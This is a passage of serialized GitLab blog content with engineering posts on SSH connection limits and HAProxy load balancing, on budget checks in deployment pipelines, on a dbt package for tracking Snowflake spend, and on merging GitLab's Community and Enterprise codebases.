reduction after 01:15. We've clearly eliminated a large proportion of the errors, although a non-trivial amount remained. Interestingly, these are clustered around round numbers: the top of the hour, every 30 minutes, 15 minutes, and 10 minutes. Clearly the tyranny of the clock continues. The top of the hour saw the biggest peaks, which seems reasonable in hindsight; a lot of people will simply schedule their jobs to run every hour at 0 minutes past the hour. This finding was more evidence that confirms our theory that it was scheduled jobs causing the spikes, and that we were on the right path with this error being due to a numerical limit.\n\nDelightfully, there were no obvious negative effects. CPU usage on the SSH servers stayed about the same and didn't cause any noticeable increase in load. Even though we were unleashing more connections that would previously have been dropped, and doing so at the busiest times. This was promising.\n\n## Rate limiting\n\nAt this point we weren't keen on simply bumping MaxStartups higher; while our 50% increase to-date had worked, it felt pretty crude to keep on pushing this arbitrarily higher. Surely there was something else we could do.\n\nMy search took me to the HAProxy layer that we have in front of the SSH servers. HAProxy has a nice 'rate-limit sessions' option for its frontend listeners. When configured, it constrains the new TCP connections per-second that the frontend will pass through to backends, and leaves additional incoming connections on the TCP socket. If the incoming rate exceeds the limit (measured every millisecond) the new connections are simply delayed. The TCP client (SSH in this case) simply sees a delay before the TCP connection is established, which is delightfully graceful, in my opinion. As long as the overall rate never spiked too high above the limit for too long, we'd be fine.\n\nThe next question was what number we should use. This is complicated by the fact that we have 27 SSH backends, and 18 HAproxy frontends (16 main, two alt-ssh), and the frontends don't coordinate amongst themselves for this rate limiting. We also had to take into account how long it takes a new SSH session to make it past authentication: Assuming MaxStartups of 150, if the auth phase took two seconds we could only send 75 new sessions per second to the each backend. The [note on the issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/7168#note_191678023) has the derivation of the math, and I won't recount it in detail here, except to note that there are four quantities needed to calculate the rate-limit: the counts of both server types, the value of MaxStartups, and `T`, which is how long the SSH session takes to auth. `T` is critical, but we could only estimate it. You might speculate how well I did at this estimate, but that would spoil the story. I went with two seconds for now, and came to a rate limit per frontend of approximately 112.5, and rounded down to 110.\n\nWe deployed. Everything was happy, yes? Errors tended to zero, and children danced happily in the streets? Well, not so much. This change had no visible effect on the error rates. I will be honest here, and say I was rather distressed. We had missed something important, or misunderstood the problem space entirely.\n\nSo we went back to logs (and eventually the HAProxy metrics), and were able to verify that the rate limiting was at least working to limit to the number we specified, and that historically this number had been higher, so we were successfully constraining the rate at which connections were being dispatched. But clearly the rate was still too high, and not only that, it wasn't even *close* enough to the right number to have a measurable impact. Looking at the selection of backends (as logged by HAproxy) showed an oddity: At the top of the hour, the backend connections were not evenly distributed across all the SSH servers. In the sample time chosen, it varied from 30 to 121 in a given second, meaning our load balancing wasn't very balanced. Reviewing the configuration showed we were using `balance source`, so that a given client IP address would always connect to the same backend. This might be good if you needed session stickiness, but this is SSH and we have no such need. It was deliberately chosen some time ago, but there was no record as to why. We couldn't come up with a good reason to keep it, so we tried changing to leastconn, which distributes new incoming connections to the backend with the least number of current connections. This was the result, of the CPU usage on our SSH (Git) fleet:\n\n![Leastconn before and after](https://gitlab.com/gitlab-com/gl-infra/infrastructure/uploads/b006877c1e45ad0255a316a96750402c/before-after-leastconn-change.png){: .shadow.medium.center}\n\nBefore and after turning on leastconn\n{: .note.text-center}\n\nClearly leastconn was a good idea. The two low-usage lines are our [Canary](/handbook/engineering/infrastructure/library/canary/) servers and can be ignored, but the spread on the others before the change was 2:1 (30% to 60%), so clearly some of our backends were much busier than others due to the source IP hashing. This was surprising to me; it seemed reasonable to expect the range of client IPs to be sufficient to spread the load much more evenly, but apparently a few large outliers were enough to skew the usage significantly.\n\n### Lesson #4: When you choose specific non-default settings, leave a comment or link to documentation/issues as to why, future people will thank you.\n\n This transparency is [one of GitLab's core values](https://handbook.gitlab.com/handbook/values/#say-why-not-just-what).\n\nTurning on leastconn also helped reduce the error rates, so it is something we wanted to continue with. In the spirit of experimenting, we dropped the rate limit lower to 100, which further reduced the error rate, suggesting that perhaps the initial estimate for `T` was wrong. But if so, it was too small, leading to the rate limit being too high, and even 100/s felt pretty low and we weren't keen to drop it further. Unfortunately for some operational reasons these two changes were just an experiment, and we had to roll back to `balance source` and rate limit of 100.\n\nWith the rate limit as low as we were comfortable with, and leastconn insufficient, we tried increasing MaxStartups: first to 200 with some effect, then to 250. Lo, the errors all but disappeared, and nothing bad happened.\n\n### Lesson #5: As scary as it looks, MaxStartups appears to have very little performance impact even if it's raised much higher than the default.\n\nThis is probably a large and powerful lever we can pull in future, if necessary. It's possible we might notice problems if it gets into the thousands or tens of thousands, but we're a long way from that.\n\nWhat does this say about my estimate for `T`, the time to establish and authenticate an SSH session? Reverse engineering the equation, knowing that 200 wasn't quite enough for MaxStartups, and 250 is enough, we could calculate that `T` is probably between 2.7 and 3.4 seconds. So the estimate of two seconds wasn't far off, but the actual value was definitely higher than expected. We'll come back to this a bit later.\n\n## Final steps\n\nLooking at the logs again in hindsight, and after some contemplation, we discovered that we could identify this specific failure with t_state being `SD` and b_read (bytes read by client) of 0. As noted above, we handle approximately 26-28 million SSH connections per day. It was unpleasant to discover that at the worst of the problem, roughly 1.5% of those connections were being dropped badly. Clearly the problem was bigger than we had realised at the start. There was nothing about this that we couldn't have identified earlier (right back when we discovered that t_state=\"SD\" was indicative of the issue), but we didn't think to do so, and we should have. It might have increased how much effort we put in.\n\n### Lesson #6: Measure the actual rate of your errors as early as possible.\n\nWe might have put a higher priority on this earlier had we realized the extent of the problem, although it was still dependent on knowing the identifying characteristic.\n\nOn the plus side, after our bumps to MaxStartups and rate limiting, the error rate was down to 0.001%, or a few thousand per day. This was better, but still higher than we liked. After we unblocked some other operational matters, we were able to formally deploy the leastconn change, and the errors were eliminated entirely. We could breathe easy again.\n\n## Further work\n\nClearly the SSH authentication phase is still taking quite a while, perhaps up to 3.4 seconds. GitLab can use [AuthorizedKeysCommand](https://docs.gitlab.com/ee/administration/operations/fast_ssh_key_lookup.html) to look up the SSH key directly in the database. This is critical for speedy operations when you have a large number of users, otherwise SSHD has to sequentially read a very large `authorized_keys` file to look up the public key of the user, and this doesn't scale well. We implement the lookup with a little bit of ruby that calls an internal HTTP API. [Stan Hu](/company/team/#stanhu), engineering fellow and our resident source of GitLab knowledge, identified that the unicorn instances on the Git/SSH servers were experiencing substantial queuing. This could be a significant contributor to the ~3-second pre-authentication stage, and therefore something we need to look at further, so investigations continue. We may increase the number of unicorn (or puma) workers on these nodes, so there's always a worker available for SSH. However, that isn't without risk, so we will need to be careful and measure well. Work continues, but slower now that the core user problem has been mitigated. We may eventually be able to reduce MaxStartups, although given the lack of negative impact it seems to have, there's little need. It would make everyone more comfortable if OpenSSH let us see the how close we were to hitting MaxStartups at any point, rather than having to go in blind and only find out we were close when the limit is breached and connections are dropped.\n\nWe also need to alert when we see HAProxy logs that indicate the problem is occurring, because in practice there's no reason it should ever happen. If it does, we need to increase MaxStartups further, or if resources are constrained, add more Git/SSH nodes.\n\n## Conclusion\n\nComplex systems have complex interactions, and there is often more than one lever that can be used to control various bottlenecks. It's good to know what tools are available because they often have trade-offs. Assumptions and estimates can also be risky. In hindsight, I would have attempted to get a much better measurement of how long authentication takes, so that my `T` estimate was better.\n\nBut the biggest lesson is that when large numbers of people schedule jobs at round numbers on the clock, it leads to really interesting scaling problems for centralized service providers like GitLab. If you're one of them, you might like to consider putting in a random sleep of maybe 30 seconds at the start, or pick a random time during the hour *and* put in the random sleep, just to be polite and fight the tyranny of the clock.\n\nCover image by [Jon Tyson](https://unsplash.com/@jontyson) on [Unsplash](https://unsplash.com)\n{: .note}\n",[1067,1268,6962],{"slug":27783,"featured":6,"template":678},"tyranny-of-the-clock","content:en-us:blog:tyranny-of-the-clock.yml","Tyranny Of The Clock","en-us/blog/tyranny-of-the-clock.yml","en-us/blog/tyranny-of-the-clock",{"_path":27789,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27790,"content":27796,"config":27803,"_id":27805,"_type":16,"title":27806,"_source":17,"_file":27807,"_stem":27808,"_extension":20},"/en-us/blog/cloudhealth-and-gitlab-reducing-overruns",{"title":27791,"description":27792,"ogTitle":27791,"ogDescription":27792,"noIndex":6,"ogImage":27793,"ogUrl":27794,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27794,"schema":27795},"How to prevent deployments from overrunning your budget","Guest authors from VMware share how to include budget and resource checking into your continuous deployment with Cloudhealth and GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670389/Blog/Hero%20Images/gitlab-cloud-journey.png","https://about.gitlab.com/blog/cloudhealth-and-gitlab-reducing-overruns","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to prevent deployments from overrunning your budget\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Davis\"},{\"@type\":\"Person\",\"name\":\"Bahubali (Bill) Shetti\"}],\n        \"datePublished\": \"2019-08-26\",\n      }",{"title":27791,"description":27792,"authors":27797,"heroImage":27793,"date":27800,"body":27801,"category":8943,"tags":27802},[27798,27799],"Tim Davis","Bahubali (Bill) Shetti","2019-08-26","\n\nManaging deployments is a complex task and DevOps admins generally consider it a victory when a deployment is\nachieved and somewhat repeatable. Unfortunately this process doesn't give DevOps admins time to\nconsider the impact of the outcome on the larger operations pipeline. We know the importance of\n[Continuous Verification](https://thenewstack.io/continuous-verification-the-missing-link-to-fully-automate-your-pipeline/)\n– it's just one of several day-two operations and best practices that need to be brought into the\ncontinuous deployment (CD) process to achieve efficiencies. But we also need to look at the budget.\n\n## Adding budget and resource checking into your CD\n\nMost developers and DevOps admins don't consider the impact of their deployment on the budget. They\nalso don't generally check if sufficient resources in AWS exist prior to deployment because, after\nall, aren't there \"unlimited\" resources on AWS?\n\nAdding the proper budget and resource checks into the pipeline helps avoid:\n\n* Potential rollbacks and clean-up actions\n* Redeployment (\"lift and shift\") into other regions in AWS\n* Long analysis to pinpoint budget overruns\n\nNot having to deal with these tasks improves the DevOps admin's metrics, such as mean time to change (MTTC),\ndeployment time, etc., and subsequently efficiency goes up.\n\n## Understanding the policy\n\nPrior to implementing any of these checks, it’s important to understand the \"policy.\" While every\norganization is different, and the iterations of \"policy\" are endless, there are some basic checks\nthat should always be implemented:\n\n* Ensure the project-specific budget is not already overrun\n* Will this deployment exceed the project budget?\n* Is the project already over project-specific limits and restrictions? (i.e. cannot use RDS, or\ncan't have more than 10 EC2 instances in a deployment)\n* Will this deployment exceed the project-specific resource policy?\n\nWith these basic checks in place, at least some initial sanity is achieved during a pipeline execution.\nMore and more complex iterations can be added as more is learned about the project and processes are improved.\n\n## How do you do it?\n\nRegardless of the policy complexity, implementing these checks can be easily accomplished with\nstandard off-the-shelf tools like [CloudHealth by VMware](https://cloudhealthtech.com) and [GitLab](/).\n\n* CloudHealth by VMware allows you to define \"perspectives\" specific to your project, create governance\nrules, and access this information through an API for easy integration into any CI/CD tool.\n* GitLab allows you to easily add in scripts and/or pre-built code (containers) enabling\nany possible check against any potential external system.\n\nIn order to highlight how to implement this type of check into the CI/CD pipeline, we've\ndelivered an [example configuration](https://cloudjourney.io/articles/multicloudops/budget_check_cicd-td/)\nusing both CloudHealth and GitLab. We hope this provides a nice baseline to build from.\n\n![CD WITH A CH check from GitLab CI/CD pipelines](https://about.gitlab.com/images/blogimages/glcdpipeline.png){: .shadow.medium.center}\n\n## In summary\n\nAlthough we've provided a baseline that we hope can be used for more complex policy checks in CD,\nconvincing DevOps admins to implement this is another problem. Improving metrics should provide\nan incentive for DevOps admins but it is not sufficient for them to simply add budget and resource checks.\nWhile every enterprise has its own process and metrics, we recommend adding a budgetary efficiency\nmetric for DevOps admins.\n\nUsing the configuration above, it’s easy to add in CloudHealth to continuously check the project's\nbudget and utilization, and adding a DevOps budget metric will not only ensure that these checks\nare deployed but will also lead to more efficient deployments.\n\nIf you have any questions regarding this or any other issue, feel free to reach out\nto us [@cloudjourneyio](https://twitter.com/cloudjourneyio) on Twitter!\n\n### About the guest authors\n\n_Bahubali (Bill) Shetti is the director of public cloud solutions for VMware Cloud Services at VMware.\nHe leads a team of cloud architects that evangelize and develop solutions for improving public cloud\noperations (AWS/Azure/GCP). Bahubali was part of the initial team that developed and launched\nVMware Cloud Services. Previous to VMware, he was director of product management at VCE\n(now Dell) for Cloud Management Products. Between 2011-2014, Bahubali lead operations at Cumulus\nNetworks, lead AWS cloud operations at several startups, and headed an open source routing\nsoftware project. Between 2008-2010, Bahubali lead the cloud investment practice at Storm Ventures.\nHe spent 9 years at Cisco in product management and business development. He holds an M.S. in\nInformation Networking from Carnegie Mellon and a B.S. in Electrical Engineering from Rutgers._\n\n_Tim Davis is a cloud advocate at VMware where he focuses on public cloud operations and cloud native\napplications. He provides consulting guidance to a wide range of customers on these topics and\nprovides a bridge between customers and product teams at VMware. He also works to evangelize\nnative cloud usage including AWS, Azure and GCP. Prior to his current role, he was a specialist systems\nengineer focused on VMware’s Networking and Security product line. Before VMware, Tim worked as a\nconsultant and VMware architect at Dell Services, which wasone of the largest contracts held at\nthe time. His background is in operations/management and architecture. He holds numerous\nindustry certifications including from VMware and Amazon Web Services._\n",[110,3949,4103,232],{"slug":27804,"featured":6,"template":678},"cloudhealth-and-gitlab-reducing-overruns","content:en-us:blog:cloudhealth-and-gitlab-reducing-overruns.yml","Cloudhealth And Gitlab Reducing Overruns","en-us/blog/cloudhealth-and-gitlab-reducing-overruns.yml","en-us/blog/cloudhealth-and-gitlab-reducing-overruns",{"_path":27810,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27811,"content":27817,"config":27821,"_id":27823,"_type":16,"title":27824,"_source":17,"_file":27825,"_stem":27826,"_extension":20},"/en-us/blog/managing-your-snowflake-spend-with-periscope-and-dbt",{"title":27812,"description":27813,"ogTitle":27812,"ogDescription":27813,"noIndex":6,"ogImage":27814,"ogUrl":27815,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27815,"schema":27816},"How to manage your Snowflake spend with Periscope and dbt","The GitLab data team is open sourcing the dbt package they use to manage their Snowflake spend.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670255/Blog/Hero%20Images/data-servers.jpg","https://about.gitlab.com/blog/managing-your-snowflake-spend-with-periscope-and-dbt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to manage your Snowflake spend with Periscope and dbt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor Murphy\"},{\"@type\":\"Person\",\"name\":\"Emilie Schario\"}],\n        \"datePublished\": \"2019-08-26\",\n      }",{"title":27812,"description":27813,"authors":27818,"heroImage":27814,"date":27800,"body":27819,"category":813,"tags":27820},[24153,24044],"\nOn the data team at GitLab, we are grateful to be empowered with best in-class tools that enable us to produce high-quality work. At the 2018 DataEngConf (now Data Council), GitLab data engineer [Thomas La Piana](/company/team/#tlapiana) spoke about how a team of three was supporting the data needs of a billion-dollar company. As he explains in this talk, we focus a lot on processes and workflows.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/eu623QBwakc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Where are the existing gaps?\nToday, the data team has grown from three to seven: three engineers and four analysts.\nSince we've more than doubled in the last six months, we've had to take a step back and revisit our processes.\n\n![GitLab Team Headcount](https://about.gitlab.com/images/blogimages/team_headcount.png){: .shadow.medium.center}\nThe GitLab team has grown significantly in the past few months.\n{: .note.text-center}\n\n### GitLab is growing fast\n\nDespite the significant jump in the data team's headcount, our growth has not matched the exponential growth of the team supporting GitLab.\nAs GitLab grows, more folks aim to include more data in their decision-making process.\nThis means we're iterating quickly, collecting feedback, and constantly improving on the quality of the analyses we are producing for our business stakeholders.\nThe demand for more data means there is a lot more to accomplish – making now an opportune time to review our processes and improve the data team's impact across GitLab.\n\nFor example, a data team member pointed out that refinement isn't a part of our [milestone planning process](/handbook/business-technology/data-team/how-we-work/#milestone-planning).\nNo wonder our backlog wasn't moving anywhere! We identified the root of the problem by asking our team, \"What is the problem we're trying to solve?\" and then laid out a plan to address it.\n\n### Onboarding can be hard\n\nWe've made some great data analyst hires recently!\nWe don't require our new team members to be familiar with our existing data stack (Stitch/Singer - Snowflake - dbt - Periscope), but we do require them to have technical skills that match their role.\nThis usually includes Git, SQL, and Python (Pandas) at the bare minimum, though we welcome R (tidyverse) as well.\nWhile onboarding at any company can be difficult, it's especially challenging in an all-remote organization such as GitLab.\n\nIn addition to introducing candidates to our specific technologies, part of the [data analyst onboarding](https://gitlab.com/gitlab-data/analytics/blob/master/.gitlab/issue_templates/data_onboarding.md) includes a unit on resource consumption.\nWe spend time introducing the concepts of databases and warehouses in Snowflake, because storage and compute being separate are often novel ideas to folks joining GitLab from an on-premise data organization.\nIn some cases, we are teaching our new hires a new way to think about the data-related problems they're solving, and introducing different resources to remedy these problems.\n\n### With great power comes great responsibility\n\nWe consume more resources as the data team headcount grows. I think about this like folks using water in a household. If everyone is on vacation, the water bill will be low, but if all the cousins come visit for a week, the bill will be high.\nSimilarly to why we encourage a big group of visiting relatives to take shorter showers to conserve water, on the data team we work to steward resources effectively. This means we must identify wasted resources to recapture them.\nIt's important that our operating expenses not balloon with headcount.\n\n## Are you protected against a leak?\n\nAs a homeowner, I can share a myriad of appliance-gone-wrong stories, but one tops them all: the time there was a leak in our front yard that we only discovered because of a $1,000 water bill.\nOften, homeowners can only measure water usage when the bill arrives, when it's always too late to fix it.\n\nLucky for our team and yours, Snowflake is much more generous than my water company.\nWe *can* monitor our costs as it accrues.\nAfter having this process in place for a bit now, we'd encourage you to implement it in your stack.\n\n## Monitor your Snowflake spend with dbt and Periscope\n\nWe're excited to make our [Snowflake spend dbt package](https://gitlab.com/gitlab-data/snowflake_spend) widely available for use.\nDoing this is in line with our belief in the value of [open source analytics](/blog/open-source-analytics/).\n\nTo get started, you'll need to grant access to the `snowflake` database to your dbt-specific role with:\n```\nGRANT IMPORTED PRIVILEGES ON DATABASE snowflake TO ROLE \u003Crole>;\n```\n\nThen you'll need to update the `packages.yml` file in your dbt project to include the following:\n```\npackages:\n  - git: https://gitlab.com/gitlab-data/snowflake_spend.git\n    revision: v1.0.0\n```\n\nToday, you can only install the package directly from Git.\nSince it doesn't depend on any other packages, you don't have to worry about version management, so this should not cause any problems.\nYou can run `dbt deps` to ensure the package is installed correctly.\n\nYou will need a csv called `snowflake_contract_rates.csv` which has two columns: effective date and rate. The effective date is the day the new contracted rate started and it should be in YYYY-MM-DD format. The rate is the per credit price for the given time period. You can see how the data team configures [their csv file](https://gitlab.com/gitlab-data/analytics/blob/master/transform/snowflake-dbt/data/snowflake_contract_rates.csv). You will need to run `dbt seed` for the csv to be loaded as a table and for the model to run succesfully.\n\nFinally, you will need to update your `dbt_project.yml` file to enable this package with the following block.\n```\nmodels:\n  snowflake_spend:\n    enabled: true\n```\nYou can see [how the data team has configured the package](https://gitlab.com/gitlab-data/analytics/blob/master/transform/snowflake-dbt/dbt_project.yml#L68) in our `dbt_project.yml` file.\n\nRunning `dbt compile` will not only test that you've configured all of this correctly, but also will compile the files in the `analysis` directory. These are the queries that we use to underlie the exact Periscope dashboard that we have automatically posted in Slack every day.\n\n![GitLab's Periscope dashboard for managing Snowflake spend](https://about.gitlab.com/images/blogimages/periscope_snowflake_spend1.png){: .shadow.medium.center}\n![GitLab's Periscope dashboard for managing Snowflake spend](https://about.gitlab.com/images/blogimages/periscope_snowflake_spend2.png){: .shadow.medium.center}\n\nOnce you've set up this dashboard, you can configure it to auto-refresh daily.\nThen use Slack's `/remind app.periscopedata.com/dashboardurl` to have it regularly publish in the channel of your choice.\n\nYou can see how our resource management initiatives have been effective.\nWe hope you'll find monitoring a key step to helping manage your own Snowflake spend.\n\nHave any thoughts, questions, or suggestions? [Create an issue](https://gitlab.com/gitlab-data/snowflake_spend/issues).\n\nPhoto by [Taylor Vick](https://unsplash.com/photos/M5tzZtFCOfs) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[2368,267,815,774],{"slug":27822,"featured":6,"template":678},"managing-your-snowflake-spend-with-periscope-and-dbt","content:en-us:blog:managing-your-snowflake-spend-with-periscope-and-dbt.yml","Managing Your Snowflake Spend With Periscope And Dbt","en-us/blog/managing-your-snowflake-spend-with-periscope-and-dbt.yml","en-us/blog/managing-your-snowflake-spend-with-periscope-and-dbt",{"_path":27828,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27829,"content":27835,"config":27842,"_id":27844,"_type":16,"title":27845,"_source":17,"_file":27846,"_stem":27847,"_extension":20},"/en-us/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition",{"title":27830,"description":27831,"ogTitle":27830,"ogDescription":27831,"noIndex":6,"ogImage":27832,"ogUrl":27833,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27833,"schema":27834},"Why GitLab uses one codebase for Community & Enterprise","Dive into our decision to switch GitLab over to a single codebase as we review some of the benefits and challenges. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671631/Blog/Hero%20Images/merge-ce-ee-codebases.jpg","https://about.gitlab.com/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update: Why GitLab uses a single codebase for Community and Enterprise editions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yorick Peterse\"}],\n        \"datePublished\": \"2019-08-23\",\n      }",{"title":27836,"description":27831,"authors":27837,"heroImage":27832,"date":27839,"body":27840,"category":734,"tags":27841},"Update: Why GitLab uses a single codebase for Community and Enterprise editions",[27838],"Yorick Peterse","2019-08-23","\n\nIn [\"GitLab might move to a single Rails\ncodebase\"](/blog/merging-ce-and-ee-codebases/), we announced that GitLab\nmight move to using a single codebase for GitLab Community Edition (CE) and\nGitLab Enterprise Edition (EE). Since then we have decided to continue moving\ntoward a single codebase. In this article, I highlight some of the challenges,\nrequired work, and steps remaining to complete the switch.\n\n## What is codebase?\n\nWhat is a codebase, I hear you ask? Well, a codebase (which is at times spelled as code base) is essentially the entire collection of source \ncode that is required for a program or application to function properly. This can include things like configuration \nfiles, libraries, and other dependencies, in addition to the actual application code. The codebase is \ntypically stored in a single location, often within a source control repository, where multiple developers \ncan access and make contributions to it.\n\nMultiple developers can use and contribute to a single codebase, which is generally retained within a source control \nrepository. As such, it can assist with the backup and versioning of overlapping code \nmodifications/alterations. This can be especially important for larger projects that require a lot of coordination \nand communication between team members. With everyone working from the same codebase, it becomes easier \nto ensure that changes are made consistently and in a way that does not break the application.\n\n## Why GitLab uses a single codebase?\n\nPrior to using a single codebase, for years CE and EE used two different repositories for the Rails application.\nBy using separate repositories we could separate proprietary code from code that\nis free software. On the surface this seems like a good idea for different\nreasons (e.g., licensing), but over the years the drawbacks\nbegan to outweigh the benefits.\n\nWe [mention some of these drawbacks in a previous\narticle](/blog/merging-ce-and-ee-codebases/), but more or less they all\ncome down to the same core problem: It made the development process more complex\nthan necessary. For example, we ended up with around 150 merge requests spread\nacross CE and EE for a security release from several months ago. While the\nprocess of merging these merge requests is automated, we ran into a variety of\nissues (e.g. failing tests) that required manual intervention. We could have\nreduced the number of merge requests by half if we used a single repository,\ncreating less work for developers and release managers.\n\nToward the end of 2018, I felt that we were running out of time and had to do\nsomething about the separation of CE and EE. We had always tried to avoid\nmerging the two repositories due to the complexity and time involved, but it\nstarted to become more and more clear we had no other option. [Marin\nJankovski](/company/team/#maxlazio), Delivery engineering manager, and I made a\nplan to merge the two repositories. Marin wrote a [design\ndocument](/handbook/engineering/infrastructure/library/merge-ce-ee-codebases/)\nthat outlined the details of it all. The design document showed what challenges\nwe faced, and gathered the critical support required for the largest engineering\nprojects at GitLab to date.\n\n## What is the difference between a codebase and a repository?\n\nThe basic difference between a codebase and a repository is that one is for old code and one is for new code. \n\nBut more specifically...\n\nA codebase can be either a public or private place to store large amounts of code that is actively being iterated on in a version control system, and typically stored in a source control repository in a version control system.\n\nA source code repository is where an archived version of the code being worked on is kept. It’s also a place to house documentation, notes, web pages, and other items in your repository. \n \n## Working toward a single codebase\n\nMoving to a single codebase is not something we can do overnight for a project\nthe size of GitLab. Workflows must be adapted, developers need to adjust to the\nnew setup, and automation requires extensive changes.\n\nOne of the biggest challenges from an engineering perspective was to come up\nwith a way to transparently remove proprietary code from GitLab when building a\nCE release. A naive approach might involve a script that removes known bits of\nproprietary code. While this might work for small projects that don't change\noften, this was not going to work for a project the size of GitLab.\n\nRuby provides us with a solution to this problem. In Ruby, you can create a\nmodule and inject it into another module or class. Once injected, the\nfunctionality of the module becomes available to the target module or class.\nThis is best illustrated with a simple example:\n\n```ruby\nclass Person\n  def initialize(name)\n    @name = name\n  end\n\n  def name\n    @name\n  end\nend\n\nmodule Greet\n  def greet\n    \"Hello #{name}\"\n  end\nend\n\nPerson.include(Greet)\n\nalice = Person.new('Alice')\n\nalice.greet # => \"Hello Alice\"\n```\n\nHere we define a class `Person`, followed by a module that is used to create a\nmessage greeting a person. Next, we include it into the `Person` class, at which\npoint we can use the module's methods for instances of the `Person` class. The\nresult is the message \"Hello Alice.\"\n\nWhile this example is not exciting, using a setup like this allows us to\nmove proprietary code to separate modules, and inject these modules when GitLab\nEE is used. For GitLab CE, we would remove these modules, and the code injecting\nthese modules would have to disable itself transparently and automatically.\n\nGitLab EE has been using this setup since late 2016 with all EE modules residing\nin a separate \"ee\" directory, but in a limited number of places. This meant that\nin some places EE and CE code got mixed together, while in other places the two\nare separate. For example, we had code like this:\n\n```diff\n def lfs_upload_access?\n   return false unless project.lfs_enabled?\n   return false unless has_authentication_ability?(:push_code)\n+  return false if project.above_size_limit? || objects_exceed_repo_limit?\n\n   lfs_deploy_token? || can?(user, :push_code, project)\n end\n```\n\nHere EE added a line into an existing method without using a separate module,\nmaking it difficult to remove the EE-specific code when for CE.\n\nBefore we could move to a single codebase, we had to separate EE-specific code from code shared between CE and EE. Due to the amount\nof work necessary, we divided the work into two departments: backend and\nfrontend. For every department we created issues outlining the work to do for\nthe various parts of the codebase. We even included the [exact lines of code\nthat had to change directly in the created\nissues](https://gitlab.com/gitlab-org/gitlab-ee/issues/9506), making it simple\nto see what one had to do. Each department also had an engineer assigned as the\nlead engineer, responsible for taking on the most difficult challenges.  [Filipa\nLacerda](/company/team/#FilipaLacerda), senior frontend engineer of Verify (CI)\nand Delivery, was in charge of frontend code. [As the Delivery backend engineer,\nI myself](/company/team/#yorickpeterse) was in charge of backend code.\n\nSome changes were small and took a short amount of time, with others were big\nand took weeks. One of my big challenges was to make sure CE and EE [use the same\ndatabase schema](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/26940),\nchanging just under 24,000 lines of code over a two-month period.\n\n>In total the work involved 55\ndifferent engineers submitting more than 600 merge requests, closing just under\n400 issues, and changing nearly 1.5 million lines of code\n\nFilipa spent a lot of time creating 168 frontend issues outlining specific tasks\nas well as submitting 124 merge requests to address the majority of these\nissues. Resolving some of these issues required getting rid of some\ntechnical debt first, such as [breaking up large chunks of code into smaller\nchunks](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/14592), and\ncoming up with a way [to create EE-specific Vue.js\ntemplates](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/25650).\n\nWhile Filipa and I took on the biggest challenges, in total the work involved 55\ndifferent engineers submitting more than 600 merge requests, closing just under\n400 issues, and changing nearly 1.5 million lines of code.\n\n## Moving toward a single codebase\n\nWith most of the work done, we could start looking into what project setup we\nwould use for a single codebase. We came up with three different approaches:\n\n### 1. Single codebase: moving all development into gitlab-ce\n\nAll code and development is moved into the gitlab-ce repository. The gitlab-ee\nrepository is archived, and a separate repository is set up as a mirror of\ngitlab-ce, called gitlab-foss. Proprietary code is removed from this mirror\nautomatically.\n\nSince most of GitLab's development takes place in the current gitlab-ce\nrepository, this setup would reduce the number of issues to move as well as merge requests to close. A downside of this approach is that clones of\nthe gitlab-ce repository will include proprietary code.\n\n### 2. Single codebase: moving all development into gitlab-ee\n\nAll code and development is moved into the gitlab-ee repository. The gitlab-ce\nrepository remains as is in terms of code, and will become a mirror of gitlab-ee. Like\nthe first option, proprietary code is removed from this mirror automatically.\n\nThis setup means that users cloning gitlab-ce don't end up with proprietary code\nin their copy of gitlab-ce.\n\n### 3. Single codebase: moving all development into a new repository\n\nWe set up an entirely new repository called \"gitlab,\" and move all code and\ndevelopment into this repository. The gitlab-ce and gitlab-ee repositories will\nbecome read-only. A mirror is set up (called \"gitlab-foss\") that mirrors the new\n\"gitlab\" repository, without including proprietary code.\n\n## Deciding which single codebase approach to take\n\n[Having evaluated all the benefits and\ndrawbacks](https://www.youtube.com/watch?v=LV_AHeL5sIo), we decided to go with\noption two: move development into gitlab-ee. This approach has several benefits:\n\n1. The code of the gitlab-ce repository remains as is, and won't include any\n   proprietary code.\n1. We do not need a separate mirror repository that does not include proprietary\n   code. Instead, we rename the gitlab-ce repository to \"gitlab-foss.\" We are\n   renaming the repository since having \"gitlab\" and \"gitlab-ce\" as project\n   names could be confusing.\n1. Users building CE from source don't end up with proprietary code in their\n   copy of the gitlab-ce repository.\n1. We keep the Git logs of both gitlab-ce and gitlab-ee, instead of losing the\n   logs (this depends a bit on how we'd move repositories around).\n1. It requires the least amount of changes to our workflow and tooling.\n1. Using a single project and issue tracker for both CE and EE makes it easier\n   to search for issues.\n\nIssues created in the gitlab-ce project will move to the gitlab-ee project,\nwhich we will rename to just \"gitlab\" (or \"gitlab-org/gitlab\" if you include the\ngroup name). This project then becomes the single source of truth, and is used\nfor creating issues for both the CE and EE distributions.\n\nMoving merge requests across projects is not possible, so we will close any open\nmerge requests. Authors of these merge requests will have to resubmit them to\nthe \"gitlab\" (called \"gitlab-ee\" before the rename) project.\n\nWhen moving issues or closing merge requests, a bot will also post a comment\nexplaining why this is done, what steps the author of a merge request has to\ntake, and where one might find more 